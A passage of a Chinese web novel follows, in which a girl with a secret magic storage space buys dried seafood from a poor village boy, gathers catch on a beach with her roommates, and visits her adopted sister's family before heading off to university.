这家壮劳力没了，一老一小压根没有出海的能力，最多在退潮时捡拾一些小鱼小虾，都够呛能养活自己，哪还会有优质的海产品往外卖。 她本来想转身就走的，可看到那两颗异常繁茂的黄皮树，她又犹豫了一下。 这不犹豫不要紧，一犹豫屋里的夏明就被他奶奶赶出屋子，跟门外的钟莹莹撞了个正着。 少年的眸子泛着泪光，眼眶微红，在看见门外有人时，他显然怔愣了一下。 过了好一会儿他才掩饰性的用手背揉了揉眼睛，等将眼中的泪意揉散后，他才抬眸看向钟莹莹：“你来我家……是有什么事吗？” 夏明还没有忘记钟莹莹这个买了他一整背篓黄皮果的大主顾。 “额……”钟莹莹迟疑了一下，随后她又想到既然没走成，来都来了，问一句也不费劲，她张了张嘴，小声道：“你家有虾干和鱼干换吗？” 夏明：“……” “有。” 虽然不知道这人是怎么找到他家来的，但他家里还真有鱼干跟虾干。 这些是他从村里收的，本来是打算送到他那个成立的小叔家去，求他给奶奶接去治病的。 可上次他去送了带鱼，他小叔小婶一家连顿饭都没留他吃，收了东西就让他回家，他奶奶就生气了，并且不许他再去求他小叔。 因为要送人，他跟村里人换的干鱼和干虾都是尽量挑品质好的那种，这礼没送出去，他跟奶奶也舍不得吃那样好的东西。 平常他俩吃的都是他在沙滩上捡的小鱼小虾，这换来的干鱼和干虾就这么留了下来。 他内心忐忑：“你要多少？” 如果把这些干鱼和干虾卖出去，那卖来的钱是不是可以带奶奶再去医院看一看。 钟莹莹反问：“你有多少？” 夏明听着这话忽然有些激动，之前她买自己黄皮果的时候就是这个样子，问清数目后，直接买下了当时他带去的所有黄皮果。 现在她这样问，那是不是就意味着自己有多少干鱼货她就会收多少？ 夏明没敢再细想下去，他回忆了一下之前跟村里人换货的画面，然后给钟莹莹报了一个具体数值：“干鱼有六条，虾干有七八斤。” 害怕钟莹莹不买，他还不忘补充：“我家这虾干都是大虾干，一点不带掺假的。” “你等一下，我进屋拿给你看看你就知道了。” 夏明的速度很快，一点也没耽搁的进了屋，之后又迅速的拎着一条晒干了的鳗鱼，捧着一把虾干，从屋里跑了出来。 中间他还不小心把家里的板凳给撞倒了。 夏奶奶在床上问：“怎么了，明明。” 夏明：“没事，奶奶，我不小心踢到凳子了。” 夏奶奶：“咳咳咳～你小心一点啊！” 夏明：“我知道了，奶奶。” 安抚完奶奶，他捧着东西对钟莹莹道：“东西都在这了，你看看可以吗？” 鳗鱼干处理的干干净净，晾晒的也很透彻。 至于虾干，即使已经晒到壳肉微微分离，那个头也能看出它活着的时候该有多么的饱满肥大。 “其他的也跟这些是一样的品质吗？如果是的话，我都要了。” “还有，我没带筐子，你拿个背篓给我装一下。” 夏明挠挠头，不好意思的说：“那个，你还没有问价格。” 钟莹莹脚趾扣地，突然感到有些尴尬。 她光顾着看虾干的品质，忘记还有价钱这回事了。 得亏不是签合同，不然要是面前这人说出个天价来，她想反悔都没门。 钟莹莹努力让自己的表情看起来严肃一些：“你说，这些什么价？” 夏明：“虾干六毛一斤，干鱼一块钱一斤，不要票。” 看钟莹莹没说话，他又怕钟莹莹觉得贵，急忙解释道：“新鲜的虾晒成虾干后，重量起码要减少一半的，鱼干也是，这些真的不贵了。” 钟莹莹哪是觉得贵啊，她是认为太便宜了。 这么大一条的鳗鱼干，才卖一块钱一斤，还有这大虾干，不全部拿下她都对不起自己好不容易跑的这一趟。 “行，我都要了，你把货拿出来吧！还有这黄皮果，你再给我摘一些，装背篓里去。” 七八斤的虾干和六条干鱼塞不满背篓，才将将给背篓填了一半。 来都来了，不满载而归，钟莹莹都感觉对不起她自己。 “哦，哦，好的，你等一下，我马上来！” 家里一共就两个背篓，上一个小的卖给了钟莹莹之后，家里剩下的这最后一个，也要离家远去了。 干鱼和虾干钟莹莹一共付给了夏明十七块八毛钱，黄皮果半篓子，付了两块钱，加上背篓凑了个整，她总共付给了夏明二十块。 手中拿了二十块的夏明心中总有一些不真实感，这么多的钱，他好怕自己会弄丢啊。 卖给钟莹莹的鱼干和干虾夏明其实是从中间赚了些钱的。 那鱼干他跟村里人换的时候只要八毛一斤，那虾干是五毛一斤。 村里人也只有跟自己人交易才会换的这么便宜，如果是外人来换，那绝对不会低于夏明给钟莹莹的那个价格。 他把货加价倒给钟莹莹，虽然他有几分别扭，但也不后悔自己的做法。 挣了钱他就能带奶奶看病去了，夏明希望，今天这样的好事能再多来几次。 一手交钱一手交货，拿了东西的钟莹莹并不打算在此地就留，出了村子还没到海边时，她就将背篓里的鱼干还有绝大多数的黄皮果都给收拢进了空间里。 等回到小伙伴身边时，那背篓里就只剩下几捧黄皮果了，这是她特意留下来，要给小伙伴们尝一尝的。 宋悦没忍住发问道：“莹莹，你这背篓哪来的？”钟莹莹这上一趟厕所回来还能拐带一个背篓，真是稀奇。 钟莹莹：“我在村里跟人换的，我们不是要赶海吗？这总得有东西装那些鱼虾吧！” 其实钟莹莹对今天的赶海活动已经不抱有希望了，潮水到现在都没退，她们还得赶车回市里，鬼知道走前她们能不能见着退潮啊。 第154章 不幸中的万幸是在她们走前潮水退了。 “快，这边有八爪鱼，快来抓！”赶海的乐趣谁赶谁知道，钟莹莹是沉迷到无法自拔了。 这个年代的海资源丰富到她都不敢想象，潮水刚退到那会儿，沙滩上留下的小螃蟹，都不用人去找，到处都是。 “我来喽～”宋悦手上拿着两根树枝，冲着钟莹莹就这么过来了。 忽然，她一个着没注意，整只脚都踩进沙坑里，鞋子里灌了满满一鞋的海水。“我真的……算了……还是抓鱼比较重要！” “莹莹，你刚刚说的什么鱼啊？”自打鞋子脏了以后，宋悦再没有注意过脚下，主打一个放飞自我。 她两步并作一步，没几下就蹦跶到了钟莹莹面前。 “八爪鱼，你看！”钟莹莹用手里的小木棍挑起隐藏在贝壳下的软体动物。 那只小小的八爪鱼可怜又无助的从壳子下面被棍子戳出来后，迅速的蠕动着身体离开了木棍，啪嗒一声掉在沙滩上，又一拱一拱的拱到一小块石头下面，把自己整个身子都藏了进去。 “咦～这是什么啊～看起来好恶心！”宋悦感觉摸了摸自己小臂，感觉身上的鸡皮疙瘩都起来了。 她还没见过哪种生物，可以有这么多只脚，脚上还麻麻赖赖的一个圆孔一个圆孔的。 “这是八爪鱼，你别看它长的不好看，做熟了很好吃的。”钟莹莹以前也不喜欢这种腿蠕动起来像蚯蚓的东西，可后来尝试了一下，她发现，这玩意卖的贵不是没道理。 料理过后的八爪鱼，梗啾啾的，非常弹牙有嚼劲，如果焯水后或者白灼后直接吃，能尝到它本身的鲜甜味，还有一丝丝海中生物独有的源自于海水的咸鲜味。 钟莹莹最爱的就是直接焯水煮熟过的八爪鱼，直接蘸上她的特调料汁，如果是小的八爪鱼的话，一口一个刚刚好。 而且这东西还高蛋白，低脂肪，一次性吃它吃到饱，都不会变胖。 由于好吃的太过分，钟莹莹愣是把它给看顺眼了，后来甚至敢自己上手去处理八爪鱼做来吃。 夜市上经常会有的章鱼小丸子就是用八爪鱼做的，粘稠的面糊包裹着章鱼足，在特制的锅具上炙烤成熟，出锅后挤上摊主们的秘制酱料，撒上多多的木鱼花，嘶～ 不能再想了，再想下去口水要流下来了。 她的章鱼小丸子啊，再次见面不知道要何年何月了。 “一定要抓这个吗？”虽然钟莹莹解释了这个很好吃，但宋悦依旧态度迟疑，主要这玩意真的很惊悚啊。 “没事，你害怕的话就去抓别的吧，这个我自己抓就成。” 看出来她的害怕，钟莹莹也没有强求，毕竟人与人之间对新事物的接受程度是不一样的。 她自己当年接受这玩意也用了不少时间，没道理现在要求宋悦就让人家立马接受。 “那我去抓别的了。”宋悦松了一口气，不让她抓就好，她是真接受不了这种奇形怪状的东西。 她拿着小树枝走开时还不忘叮嘱钟莹莹：“你不要走太远啊～离海水远一点。” 在初始的兴奋劲过去后，她瞅着这蓝泱泱的海怪吓人的，这海往前看都看不到尽头，人掉里面也不知道还捞不捞的回来。 这片海滩上搁浅的八爪鱼有不少，这种小东西，当地人已经腻歪到懒得捡来吃了。 出海捕到的鱼能拿来卖给供销社，而捡来的小鱼小虾呢，除了他们自家吃压根没人要。 肚里没油水，吃这些越吃越饿，他们都不稀得捡。 在一小片的碎石堆前，钟莹莹找到了不少小八爪鱼，她在里面还见到一只稀罕货——带圈的八爪鱼。 “卧槽～”在看见了浅蓝色的环纹时，钟莹莹激动的差点要哭出来，小木棍夹着的八爪鱼连带着棍子都被她扔飞了出去。 这不大名鼎鼎的蓝环章鱼吗？一人被咬，全家吃席那种。 “不抓了，不抓了……还是小命要紧。”钟莹莹可不想因着抓几只破八爪鱼，窝窝囊囊的结束自己这才刚开始还没满二十年的人生。 不光她自己不捡了，她还想着去提醒那仨也别搞了，划不来，真的划不来。 “不对，我不是还能作弊吗？”还没走到小伙伴那边，她忽然想起来自己还有个金手指呢。 之前她作弊的介质都是泥土，水和沙子应该也没差吧？以它们为介质，用空间翻找沙子下面搁浅的宝贝，再用介质弄死它们，收进空间后，时间静止，也不怕它们变质，更不用害怕在抓捕它们的过程中遇到一些无法处理的危险。 海边空旷的很，一眼望过去，除了她们这四个小卡拉米一个个拿着几根路边折来的木棍在沙滩上翻翻找找的，钟莹莹还真没看见个外人。 这三个室友都是知根知底的，钟莹莹不认为她们有能力发现自己的异常。 说干就干，钟莹莹一边装模作样的拿着棍子四处戳来戳去，一边用手扒拉被棍子戳过的已经确定安全的沙洞，起起伏伏间，沙子里的大宝贝们就被她弄嘎了转移到了空间里。 搁浅的终究都是些小东西，她站起身来，朝着小伙伴那边望了望，确认没人注意在注意自己后，她神不知鬼不觉的摸到了离浪花最近到地方，手指触及海水，一来一回间，她的空间里又多了些小东西。 “可惜了！”海边没有大货，如果能出海或者潜水的话，她不*敢想，自己该能弄到多少好东西。 “莹莹！快回来！你怎么回事？怎么还下水了呢？”宋悦急匆匆的跑过来，直接把钟莹莹拽离了水边。 “这多危险啊，万一你掉进去，咱们四个没一个会水的，那到时候都没人能给你捞上来。” “你还笑，下次再这样，我就不跟你出来了！” 宋悦在宿舍里面就如同大姐姐一般的存在，四人中她年纪最大，经历也最多，她一直把钟莹莹她们三个当小孩对待。 “悦悦，我没事的，我就是看到一条小鱼，没下水。”空间除了她那些不动产占据了大半江山外，剩下的位置中十之七八塞满了钟莹莹今天的收获。 刚刚去世的鱼虾蟹还有剔除了有毒物种的八爪鱼紧密的堆叠在一起，中间没留一丝缝隙，钟莹莹估摸着这些东西得有个三四百斤。 这回赚大发了，一张从市区到郊区的往返车票，换来几百斤的渔获，她都觉得她自己生来就该干打渔这一行业。 “哦，对了，悦悦，我给你说，幸好刚才你没抓八爪鱼，我刚刚看到一只有毒的，咬一口咱们都不用回家了的那种。” 钟莹莹还没忘记她刚刚想要把遇见的蓝环章鱼说给三个室友听这件事。 宋悦一听，立马紧张的掰过钟莹莹的肩膀，让她跟自己面对面：“真的？那八爪鱼没咬到你吧？” 钟莹莹开玩笑道：“没有，要是咬到我，你现在看到的我就该是在地上躺着的了。” “呼～你吓死我了！早给你说了，那东西长得那么丑，捡不得，你还说好吃。” “走，我们回去，不抓了，咋抓个鱼捡个虾还能碰见有毒的，一点都没河里东西好，等回老家，我带你上我们村河滩上捡去。” 宋悦现在觉得这大海也没书上说的那么好，海里的鱼还带有毒的。 村里都没这样的，除了蛇有毒外，其他能吃的就是能吃的，样子也比海里这些东西好看。 海市也就那样，跟她们市相比，也就地方大了些，卖的东西多了些，再稍微富了点…… 祁绮跟牛丽华被宋悦叫回来时，还一脸茫然，不知道咋回事呢。 大约是报名了同一所大学的缘故，她俩最近的关系变得尤其的亲近。 “不捡了，回去了，要赶不上末班车了。” 天色确实不早了，她们来的时候，太阳还高悬在天空正中央，这会儿已经有大幅度西斜的趋势了。 要不是搁冬天，没准这会儿天已经暗了。 “早点回去，回招待所换张澡票洗个澡，还能早点吃上饭。” 她们四个中午只吃了钟莹莹拿回来的那些黄皮果，捡东西的时候没觉着饿，这会儿一停下来，肚内空空的感觉就压制不住了。 走前钟莹莹看了，她那个大背篓只装了一小半，里面多是些小螃蟹还有猫眼螺之类的贝类。 里面装着的鱼极少，除了她捡的那几条八爪鱼外，只剩下一条比较傻的，泛着冷锐金属色泽的，半死不活搁浅带鱼。 都说带鱼属于深海鱼类，一上岸就会鱼鳔爆炸，内脏破裂，出水立即死亡，可钟莹莹看这鱼虽然精神头不大好之外，也活了挺长时间啊。 该死的某意某林，又骗她，上辈子她的脑子就是看那玩意看坏的。 什么小日子过的不错的人洗碗会洗七遍，什么检测马桶是否干净的标准取决于里面的水能不能喝，某国小学生夏令营负重行军……这些骗术一套又一套，给人都骗傻了。 第155章 “你们这么厉害啊！” 宋茹对着那小半背篓的杂鱼杂贝杂蟹，毫不吝啬的夸赞钟莹莹。 “也不是，我们就是在沙滩上捡了一些。”钟莹莹有些不好意思，这背篓里的东西，比较小状态比较差的那部分才是她们捡的，中间夹杂的几条大的刚嘎掉的八爪鱼还有小鲳鱼是她来的时候，从空间里掏出来塞进背篓里的。 由于没有经验，背篓里没水，抓的鱼在班车上的时候基本都死掉了，活着的只有那些比较坚强的小螃蟹。 这东西在招待所她们也没法做，辛苦捡来的，她们也不想浪费，所以只能拿到宋家来。 她们仨下了班车就回招待所拿衣服洗澡去了，只有钟莹莹这个大冤种，背着一背篓散发着咸腥气息的东西，在周围人用一种看乡下人的鄙夷眼神中来到了宋家。 这仨也不是故意不想来，主要是她们跟宋家人不熟，刚来那天过来吃饭，还可以说是人家东道主客气，再跟着过来，就显得她们有些占便宜的意味了。 本来几人是打算在外面等着钟莹莹送完东西一块回去洗澡的，可钟莹莹想着她们玩了一天了，身上黏了一身的汗，在外面等着也是遭罪，就让她们先回去了。 她又不是认不得路，自己回不到招待所。 “能捡那么多还不厉害啊？你姐我在你这么大的时候都捡不来这么大的鱼。” 当然捡不到了，因为宋茹在钟莹莹这么大的时候，压根就不需要干这些活。 她没干过这些，也不妨碍她真心的夸赞钟莹莹。 见宋茹夸钟莹莹，宋乐怡小朋友也高兴的直拍手：“嘟嘟厉害～” 宋茹忍俊不禁：“是，你嘟嘟厉害～” “这也不知道随了谁了，都三岁了还讲不清楚话。” 把姑姑喊成嘟嘟，把大哥喊成‘大捣’，前者还能听出一点联系，后面这个，宋茹是怎么想也想不出哥字跟捣字的读音有哪点相似。 钟莹莹：“乐乐还小呢，小孩子都这样。” 宋乐怡也学她说：“乐乐还小呢～小孩子都这样～” 她开口的时候，因为牙齿缺了一颗，说话漏风不算，口水还流出来不少。 偏偏本人不晓得，看别人笑她自己也跟着笑。 口水淌到脖子上她觉察出不舒服，就傻乐着用手背去擦。 宋茹看不过眼，用她的口水兜兜给她擦了到处乱流的口水，嗔笑道：“你这孩子，干嘛老学你姑姑说话！” 宋乐怡一脸茫然：“没有呀～娘～乐乐没有学人嗦话～” “行，你没学人说话，小祖宗，快去把你爹喊回家，晚上咱们吃鱼还有螃蟹，让他回来做饭！” 宋冬宇还没回来，王书钰这会儿在邻居家串门呢。 “好哒～娘～我去啦～” 四头身的小人儿接收到自家亲娘的指令，乐得屁颠屁颠的找她爹去了。 小朋友刚走，宋茹就对钟莹莹说：“一会儿等你姐夫回来，让他在家做饭带孩子，我带你去澡堂洗个澡先，你看你这一身弄的。” “姐，不用了，我一会儿回招待所，拿了衣服再去洗。” “还回什么招待所啊？姐这里就有衣裳，刚给你买的，我都洗干净了，小衣服也有，都是新的我洗过的，你这再走到招待所，然后再去换澡票，再上澡堂去，折腾死了。” 在刚收到钟莹莹要过来海市玩的信时，宋茹就把钟莹莹的一俱生活用品全部准备好了。 她都做好了把王书钰撵到单位分的房子去，让钟莹莹跟她住在自己家的准备。 奈何钟莹莹带着三个同学，不能丢下她们自己来钟家住，宋茹在理解的同时，只能遗憾的放弃了自己的想法。 “姐……”钟莹莹还想着再说些什么，宋茹见王书钰回来了，便不由分说的拉着钟莹莹的手说：“走，别说了，姐给你拿衣服，咱们上澡堂去！” “书钰，莹莹抓的这小螃蟹，你给洗洗炸了，还有这八爪鱼，焯水做个凉拌菜吧……这些东西晚上不吃完，明天就坏了，莹莹，一会儿洗完澡咱俩去把你招待所的同学也给喊来一块吃！” 宋茹觉得自己的安排非常的好，不等别人发表意见，就一锤定音道：“好了，就这么定了！” 钟莹莹哭笑不得，真是怕什么来什么，她的那三个室友就是害怕宋茹他们留饭，才让自己过来送东西的，结果兜兜转转间，事情的发展还是绕回了原点。 王书钰抱着闺女，一句话都还没说，就被妻子安排的明明白白的，他也不生气，只是温和的道了声：“好。” “行，你姐夫答应了，莹莹，姐也好久没上澡堂洗澡去了，这天天在家洗澡，总感觉身上没洗干净！”宋茹挠了挠胳膊，总感觉胳膊上有皴。 海市的澡堂比较注重隐私，有大澡池还有小单间两种。 宋茹跟钟莹莹不必说，自然而然的加价选了两间相邻的单间。 和别人坦诚相待，赤裸裸的泡在同一个热水池中，钟莹莹真的做不到啊。 洗澡间里的设施非常简陋，用于洗浴的装备只有头顶的那一方细水管，那水管还是固定不可移动的。 唯一值得夸赞的就是，水压还成，热水透过细窄的水喷淋到身上，洗的久一些勉强也能洗干净身上的泥垢。 “莹莹，要姐帮你搓搓澡不？”宋茹的声音从隔壁传来，狭窄的浴室形成了一个简单的回音壁，她的声音在里面回荡了好几次才散去。 钟莹莹：“不用。” 宋茹：“那你来帮姐搓一下吧！” 钟莹莹：“……” “好。” 她就知道，只要一块洗澡，她还是逃不脱洗澡帮人搓澡的魔咒。 狭小的单间，宋茹一转身就能跟钟莹莹来个肉贴肉，她为了给钟莹莹留出足够的空间站立，只能扶着墙壁，腰略微下塌的靠墙站在角落。 钟莹莹最后的倔强是身上围了一块小毛巾，她一手拿着搓澡巾，一手固定着身上那块少到要没有的布料，艰难的给宋茹搓着背。 宋茹看她这个样子，咯咯直乐道：“哈哈哈～咋？跟你姐在一块洗澡你还不好意思了？” 钟莹莹：“没有，我只是……有点冷……” 话音刚落，钟莹莹额头一滴豆大的汗珠落下，砸在地上。 她自己都感觉这借口离谱的过分，大夏天的，还是在澡堂里，冷个锤子。 匆匆给宋茹搓完背，把搓澡巾还给她，钟莹莹直接给她表演了一个落荒而逃。 她回到自己那个单间的时候，还能听到宋茹压低了声音的笑声。 钟莹莹心里：谢夫特！ 人为什么出丑会出的花样百出？还一点准备的机会都不给人留。 澡堂的小插曲很快告一段落，钟莹莹带着宋茹去了招待所，把三个想窝在招待所当鹌鹑的室友都给薅去了宋家。 “这小螃蟹，你还别说，油炸一下，吃起来比大螃蟹好吃！” “想当年，小茹她娘还活着的时候，她就爱吃这些东西，唉～这一晃眼都过去那么多年了……” 昔人的音容笑貌还留存在心中，仿佛她从未离去过一般。 可现实是她已经走了十多年了。 “爹，吃菜！”宋茹夹了一筷子鸡蛋直接塞在了宋冬宇嘴里，堵住了他继续回忆旧人的嘴。 也不知道是年纪大了还是什么别的原因，她爹现在只要一提起以前的事，就会说的停不下来。 只有他们一家在还好，现在家里还有客人呢，宋茹可不能放任他就这样说下去。 再说了，她娘那是喜欢吃螃蟹吗？那是以前在她外婆家，只有螃蟹还有死鱼烂虾给她吃，不吃这些，她压根就活不下来。 成功的用鸡蛋止住了宋冬宇的感慨，宋茹转过头来，又对着钟莹莹她们几个笑着说：“吃菜，吃菜，大家都努力吃啊，这夏天烧了菜不能搁，晚上吃不完，等明天就都坏了。” “你们抓的这些螃蟹和鱼啊，你姐夫还给邻居家送了些去，结果做出来还是有这么多，你们是真能抓啊～” 王书钰忙活了俩小时，一直等到宋冬宇回来，又帮着他干了好半天的活，才把这一桌子的菜给做了出来。 她们捡来的螃蟹都不是很大，有半大的梭子蟹还有黄油蟹，虽然螃蟹小，但是肉却不少。 王书钰的处理方式很简单粗暴，稍微大一些的，就放姜片干蒸了，小一点的，他在油锅里炸了后，放上年糕，一并炒了，做成了螃蟹烧年糕。 八爪鱼焯水后切小段，拌上了特调酱油。 …… 主食是白米饭，一口海鲜一口饭，简直鲜到了极点。 宋悦她们已经很努力的在吃饭了，直到最后肚子吃了个圆滚滚，也没把这一桌饭菜给解决掉。 她们从来没有一次像今天这样，竟然吃饭就给她们吃累了。 走在回招待所的路上，几人不住的打着饱嗝。 “我……嗝儿～我真的吃不下了！” “嗝～我也是……” “嗝～这海里的鱼闻着腥，吃起来还挺香？” 宋悦揉着自己的肚子，咂巴着嘴回忆着那个长相丑陋的八爪鱼的味道。 丑东西长得丑，味道还挺美。 第156章 “嗝儿～咱们、咱们啥时候回家啊？”吃的太撑，总是忍不住打嗝。 离家这么多天，祁绮已经开始想家了。 “额……就这两天吧，这个票，莹莹，你姐姐那边怎么说？”来之前，宋茹就说了，她们几个回家去的票由她来买。 几个小姑娘不想折腾，就同意了下来。 主要她们自己个儿去买，不好买到卧铺票，来的时候软卧来的，现在让她们坐硬座回去，落差感太大，有人愿意帮忙，也没那个必要。 “我问了，宋茹姐说明天让我去拿！”钟莹莹给她说的是她们后天要回家去。 该逛的都逛了，该买的也都买了，休息休息也该回家去了。 “不过，祁绮，你现在就想家了，等到开学，你得在这待半年才能回去，你怎么办？”钟莹莹看祁绮就像是在看前世的自己。 当初她也是一门心思的觉得大学要出省，离家越远越好，可等真的开学了之后，她才知道什么叫后悔。 不说年年放假得抢票了，就说路上那个折腾，本来家门口就有大学上，非得跑那么远，最后受苦受累的还是自己。 祁绮：“没事，在市中的时候咱们不也是一学期才能回家一趟吗？”她都习惯了，真的。 呜呜～才怪～ 假期走这么一遭，体验过之后，她对大城市也祛魅了，还是家里好啊！她现在就已经开始羡慕起了之前选择在县里读中专的李红雪她们。 可她录取通知书都收了，事已至此，只能硬着头皮给自己洗脑，她就是喜欢大城市的繁华。 为了把自己从低落的情绪中摘出来，祁绮提议道：“明天我们一块去买些礼物走的时候送给你姐姐吧！” 牛丽华：“我同意。” 宋悦：“我也同意。” 她们来海市这些天，吃人家两顿大餐了，临走还要再白拿人家的卧铺票，她们自认为自己做不到。 强硬的直接给钱又显得有些伤感情，走前回礼同等价值的礼物再合适不过了。 “我觉得可以给乐乐买些东西，她三岁了，应该要不了多久就能去上学了，我来买文具你们觉得怎么样？”宋悦认为给孩子买东西比给大人买东西好买的多，而且还不容易被拒绝。 “给莹莹姐姐买东西也不错，长辈我们不知道他喜欢什么，给莹莹姐夫买东西我们不太合适，所以只剩下莹莹姐姐还有乐乐了。” 看她们讨论的激烈，钟莹莹弱弱的举手道：“那个，给宋茹姐的东西我已经买好了。” 宋悦：“好你个小莹莹啊，背着我们偷偷买礼物，你再也不是我们宿舍那个单纯可爱的小朋友了！” 宋悦斜睨她一眼：“说吧，你都买了些什么？还不快快如实道来？” “鸭蛋粉、眉粉还有海市女人牌的香膏，其他的我没买。”本来是只准备送盒香膏的，但是钟莹莹又觉得有些寒酸，所以她干脆把给自己准备的那份鸭蛋粉和眉粉也拿出来包在一起，凑个数。 钟莹莹懒人一个，本来也不喜欢化妆，那些东西她拿着也是浪费了。 再说了，以她现在脸蛋的这个水嫩程度，不是她吹牛，除了基础的保湿用的护肤品外，其他的东西施加在她的脸上，都是一种犯罪。 “你都买好了，还买那么多，你让我们仨怎么办呐～”宋悦双手按住钟莹莹的肩膀就是好一阵摇晃。 钟莹莹被她晃悠的头晕脑装的，连忙求饶：“别晃了～别晃了～再晃下去，我刚吃的饭要吐出来了～” 从宋悦的魔爪逃脱后，钟莹莹平复了一下胃里的翻滚的吐意，宋悦这家伙，真的大力啊，无心的几下动作，就能给她压制的动弹不得。 等身体恢复正常后，钟莹莹才缓慢开口道：“宋茹姐不是会在意这些事情的人，她也不缺这些东西，你们心意送到了就行，不用买太贵的东西。” “悦悦，你不是说要给乐乐买东西吗？你买盒国字牌的铅笔，再买本图画本或者笔记本就成，这些之前我们去过的那个百货大楼就有卖，还不要票，有钱就能买。” 说完给宋悦的建议，钟莹莹转头又看向祁绮和牛丽华：“绮绮你跟丽华你俩就买些吃的吧，或者玩具也成。” “百货大楼卖的有铁皮青蛙，有好几种颜色的，你们可以买一两个送给乐乐。” “如果想买吃的……这个要票，啧～不太好买，要不还是买头花或者发夹吧，价格贵了些，但是不要票。” 钟莹莹三两下就给小伙伴们安排好了要买的东西。 宋悦给她表演了一个秒变脸，声音黏腻道：“莹莹，方才是我错怪你了，你还是我们宿舍的好乖乖～” 钟莹莹承认，这一秒有被她膈应到。 “悦悦，你还是正常一点吧，这样怪吓人的～” 给她吓得身上的鸡皮疙瘩都立起来了。 明明在海边的时候还是知心大姐姐来着，怎么现在…… 宋悦：“哼～没眼光！” …… 钟莹莹去宋家拿火车票的时候，把小伙伴们准备的礼物都给宋茹带了过去。 “姐，这是我同学给你和乐乐准备的礼物，这是宋悦买的，” 宋悦买了两盒铅笔外加两本图画本，她说卧铺票贵，买单数显得有些太寒酸了。 “这是祁绮买的。” 祁绮买了柜台里卖的最好的粉色蕾丝编织成的头花，还有一对栩栩如生的蜻蜓发夹，头花给宋茹买的，蜻蜓发夹是送给乐乐的。钟莹莹看那发夹好看也给家里的丽丽买了一对。 “这是丽华买给乐乐的。” 牛丽华豪气的买了一整套的铁皮青蛙，一共四个颜色，扭动机关那个青蛙就可以自动向前跳。 “最后这个是我买给你的，她们给乐乐买的多，我就没再给乐乐买，只给你买了些化妆品。” 钟莹莹腼腆一笑，从她的挎包里把早就准备好的东西一股脑的全塞进了宋茹怀里。 害怕宋茹拒绝，她还解释了一下：“这里面没有什么贵重物品，都是大家的一番心意，姐你要是拒绝了，等我回去了，她们要哭的。” “哈？” 宋茹还在想，要给钟莹莹拿哪些东西带回钟家岗去，钟莹莹没来海市之前，陈显英给她寄信的时候，就寄了好些个钟家岗的特产，如咸鱼和笋干等等，还有一些特殊处理过的野菜，宋茹就想着，她也不能让钟莹莹空着手回去。 但是拿太多东西，一来在火车上不安全，二来孩子拎着也累。 所以宋茹就考虑，要不要跟陈显英一样，把东西给钟家寄过去。 正烦恼着呢，她冷不丁的被钟莹莹塞了一大堆东西后，整个脸上都是茫然。 “给我的？” 现在的小孩都这么懂人情世故了吗？ 钟莹莹点点头：“嗯，给你买的，还有乐乐，姐夫跟宋叔的我们不知道买啥，就没买。” “明天我们早上的火车，就不来姐你这了，我们四个自己上火车走就成。” 如果要给她们送行，那宋茹还要请假，钟莹莹感觉划不来。 她们行李不多，直接从招待所去火车站，也废不了什么功夫。 “真不用姐送你？” “真不用，火车开的早，你起个大早送我们，送完了还得回去上班，也太累了。” “我们几个也没拿啥行李，就几件衣裳，小包袱一背，上车就直接走人了。” “宋叔给买的还是软卧票，上车之后，车门一拴，我们四个可以一直睡到家，所以姐，你不用担心。” 在钟莹莹的强烈要求下，宋茹最终放弃了请假送她上火车的想法。 恍恍惚惚之间，她还答应了钟莹莹，送行饭也不做了，让她们在招待所好好休息。 等人走后，宋茹才反应过来自己都答应了些什么。 她一个人在客厅里坐着，忽然就笑了。 原来正常的人际交往是这样的啊！想当年，她和那个白眼狼表妹，还有那个歹毒前对象之间可不是这样的。 她一味的给给给，那俩呢，就一味的腆着大脸拿拿拿，有时候她没给，他们还会过来要要要，直到他们达成目的后，才会给她一个好脸色。 现在想想，那俩人的异常真是早有端倪，只不过她蠢，一直没看出来而已。 他俩真是天生一对，也不知道这俩人在遥远的北疆怎么样了？宋茹有想过，以他俩那同样自私的性格，同富贵没问题，那同穷苦呢？恐怕日子不大好过吧。 他俩过的越不好，她就越高兴。 宋茹的好心情一直持续到王书钰带着孩子回来。 “怎么了？今天这么高兴啊～”王书钰一到家就丢下孩子，坐到了宋茹身边。 “没事，就是莹莹她们几个小姑娘给我买了礼物，我开心呢！你看……”宋茹没想过跟王书钰提赵擎和林晚晚的事。 任何时间，在现任面前提及前任都是一件不明智的事。 看了面前的这堆礼物，王书钰夸赞道：“莹莹她们几个确实都是好孩子。” “小青蛙，我要小青蛙！”宋乐怡看见铁皮青蛙四件套眼睛都直了。 “拿去玩去吧！” 第157章 …… “姑姑不走～呜呜哇哇～” 由于对礼物太过于满意，得知钟莹莹她们要走的事情，宋乐怡小朋友还真情实感的哭了一场。 不过小孩子记性差，睡过一晚又很快忘记了这几个短暂来临过的姑姑。 钟莹莹坐了一天的火车才回到了县里，回家之后没待多久，大学开学，她又坐上了去省城的火车，一整个假期她过的那叫一个充实啊。 因着‘大学生’的光环，村里人一点活都不让她干，以前一到暑假就晒到黝黑的她，这次竟然稀奇的变白了不少。 她搁家里没事就给家里做个饭，趁着家里人出去干活的功夫，把俩侄子也支出去，自己在灶房里忙活。 偷偷的将空间里偷渡过来的海鲜们给处理了大半。 由于时间以及技术还有调料的限制，钟莹莹采用了最简单粗暴的方式，放大锅里一锅蒸。 一连好几天的努力，才将海鲜给偷着蒸了个大半。 至于海鲜的咸腥味问题，这个也好解释，她在还没到家的时候，就将她买来的干货塞进了自己的包袱里，拿回了家。 蒸完那些新鲜的海鲜后，再将这些干货给泡发，一并做了，家里人只会认为家里挥散不去的海鲜味，是那些干货散发出来的。 陈显英还感慨过，这海里的鱼比村里的鱼好吃是好吃，就是味道实在有点太大了，还有点废柴。 钟莹莹听她说这话，当时都没敢抬头。 临近池大录取通知书上标的报道时间，她就火速买票拒绝家里人相送，借口要去市里跟同学汇合，一并前往学校，飞快的溜走了。 “余嘉祥！礼物～”在海市买的大虾干被钟莹莹用牛皮纸包着放在了一个方形的竹篮里，看起来既高档又整洁。 “我给你说啊，这个直接剥了皮吃就行，这是我特意从海市给你带的，你可得珍惜！” 钟莹莹喋喋不休的念叨着手里的虾干有多么的来之不易，她对面的余嘉祥没有一丝一毫的不耐，脸上带着笑意安安静静的听着她把话说完后，才开口道：“买了这么多东西，你身上的钱还够用吗？” “这是我暑假攒的零花钱，给你！” 十四岁的少年已经有了成年人的身量，眉眼清隽，接近一米八的个头让看起来跟成人没什么分别，但稚嫩的脸庞还是出卖了他，让人能一眼认出，这是一个少年。 用手帕包着的纸币和票据被他骨节分明的手指攥着，就这么递到了钟莹莹面前。 